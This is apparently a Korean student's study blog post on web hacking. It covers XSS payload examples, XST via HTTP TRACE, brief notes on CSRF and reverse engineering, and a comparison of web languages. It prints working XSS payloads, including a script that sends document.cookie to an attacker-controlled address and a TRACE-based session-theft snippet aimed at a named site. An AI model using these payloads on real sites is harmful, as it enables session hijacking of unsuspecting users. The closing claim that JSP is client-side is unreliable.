MY MEMO

[WEB HACKING] XSS, XST, Cross site request forgery,역공학 본문

STUDYING/WEB

[WEB HACKING] XSS, XST, Cross site request forgery,역공학

l_j_yeon 2017. 6. 12. 15:02

XSS공격 (cross site script)


목적 : session 탈취하는

: css,js등이 웹에 구성되어있는데 js target


+) js : client측에서 제공하는 (alert, onlocation)

    이러한 기능을 이용해서 web js구문을 추가해서 자신의 이익을 취하는 행위 (> 자동결제, 자신의 웹에 들어가게 해서 조회수를 늘리는 등)

Ex)


1. <script> alert(“xss공격!”);  <script>


2. <a href = “javascript:alert(‘XSS’)”>XSS</a>


3. <img arc = “#” onerror=”alert(‘XSS공격!’);”> //image 가지고 있지 않으면 error실행


4. ASCII코드 (Filtering 조금 어려움)

   <IFRAME SRC = “&#아스키코드; &#아스키코드;…width = “0” height = “0” frameborder=”0”></IFRAME>


5. <IFRAME ID = “showFrame” src = “javascript:document.write(‘

<script>

Alert(3);

Function show(){ Alert(5); }

Alert(4);

</script>

‘); width =”0” height = “0” frameborder =”0”></IFRAME>

<button id = “button” onClick=”document.getElemetById(“showFrame”).contentWindow.show()’>Button</button>


6-1. php파일을 만들어서 Database 저장하도록 만든다면

게시판에

<iframe src = “http://IP?s=b”  width=0 height=0 frameborder=”0”>

</iframe>

이렇게 쓰면 특정한 값을 읽을 때마다 Database 값을 넣음


6-2. (hacker 서버에) 이렇게 쿠키를 저장하도록 한다면 database cookie값이 저장됨

<script>

Location.href =” http://address?a=” +document.cookie;

</script>

<script>

Alert(document.cookie);

</script>

이렇게면 자신도 모르게 자신의 쿠키값을 DB 저장


httponly (웹서버의 방어 방법)

현재는 client에게 자신의 쿠키값을 없도록

  protocol 상에서만 session값이 왔다 갔다 ( 없음)


XST (cross site trace)


-        현재 목표로 하는 서버가 httponly 지원하여 xss공격이 통하지 않지만 trace protocol 허용할 xml요청을 이용하여 세션을 탈취하는 공격 방법

-        Putty 같은 원격 접속 프로그램을 이용하여 trace통신이 가능한지 확인

-        Trace 통신이 가능하다면 이를 이용한 세션 탈취를 감행


확인 방법)


Putty 접속하여  DNS 80 입력한다면 접속가능

GET /HTTP/1.1

Host: dowellcomputer.com 입력한다면 값을 뱉어냄


TRACE  / HTTP/1.1

Host: dowellcomputer.com

만약 trace 방법이 허용되지 않는다면 자동 종료


만약 trace 방법이 허용된다면

<script type = “text/javascript”>

Function sendTrace(){

Var xmlHttp = new ActiveXObject (“Microsoft.XMLHTTP”);

xmlHttp.open(“TRACE”,”http://foo.bar”,false);

xmlHttp.send();

xml Doc = xmlHttp.resposeText;

alert(xmlDoc); //공격자는 얻어낸 쿠키 인증데이터 외부 전송

}

</script>

<INPUT TYPE = Button OnClick = “sendTrace();” VALUE = “Send Trace Request”>


trace방법으로 세션 탈취!

막기 : http://ideaargo.phps.kr/tc/184 & http://blog.naver.com/PostView.nhn?blogId=hot1455&logNo=60127291155


Cross site request forgery

사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 ) 특정 웹사이트에 요청하게 하는


역공학


반대로 거슬러 올라가는 공학

특정한 시스템이 있으면 기초부터 분석해서 원하는 형태로 만듬

정상 서버가 있을 분석과 재생성으로 다른 형태로 가공


+) 대학 사이트에 강의 시간표 관련 정보 parsing하기


시작하는 데이터 앞에다가도 붙이고 데이터 사이 마다 붙인  .csv 저장하면 Excel 저장가능

Ex) “\””+Data+”\”,”+Data+”\””

Excel -> Database 저장하기 : http://huddling.tistory.com/26


+) web언어의 차이점


HTML : markup language (정적인 언어) 단지 글과 이미지는 표현가능 but 반복문을 사용하지 못함

JSP : HTML의 단점을 보완, 동적인 언어 but 웹브라우저 상에서 동작하기 때문에 코드가 모두 공개 -> 보안에 취약

ASP.NET & PHP : JSP의 단점을 보완 서버 상에서 작동되어 모든 결과를 HTML로 만들어 보내준다.  

그래서 JSP : client side programming language PHP&ASP.NET : server side programming language

Comments